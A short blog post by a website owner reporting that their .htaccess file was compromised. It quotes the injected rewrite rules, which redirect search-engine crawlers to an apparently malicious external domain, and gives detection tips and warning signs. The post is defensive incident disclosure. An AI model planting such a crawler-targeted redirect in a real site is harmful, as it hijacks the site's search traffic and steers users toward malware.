Very recently, I noticed a the PR of this very site was dropping with little to no reason. We DON’T condone any Black Hat techniques, we use no paid linking to promote the site, and we have a very good domain history. But, still our PR was precipitously dropping with no reason. I started to dig into this last night and found out we had our ht.access file hacked!
There was a suspicious redirect we could diagnose in Google Webmaster Tools – that alerted us to the problem:

The malicious 301 code that was inserted in our ht.access is below:
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://bablo .me .uk/ [R=301,L]
I decided to follow the redirects and find out where they lead to. What I found was a server hosting hundreds of sites optimized for trojan virus downloads.
Here are a few things that Webmasters and site owners shuld be on the lookout for with this hack/exploit:
– PHP-driven site. (Especially Joomla, Drupal or WP CMS’s)
– Problems with having web site properly indexed by Google.
– Some pages don’t get indexed, some pages disappear from the index.
– When checking web pages in Unmask Parasites, there is a chain of two 301 redirects reported and the first redirect points to “http://bablo .me .uk/”.
I recommend using some tool that shows HTTP headers and allows to change User-Agent string. For instance, web-sniffer with the Googlebot user agent. If the site is compromised, you’ll see the following lines in the response headers:
HTTP/1.1 301 Moved Permanently
Location: http://bablo .me .uk/
Please be careful out there – this was a huge hit to our traffic and business – but with simple and careful diagnosis this issue was fixed and we can move on to grow our business PR properly again!
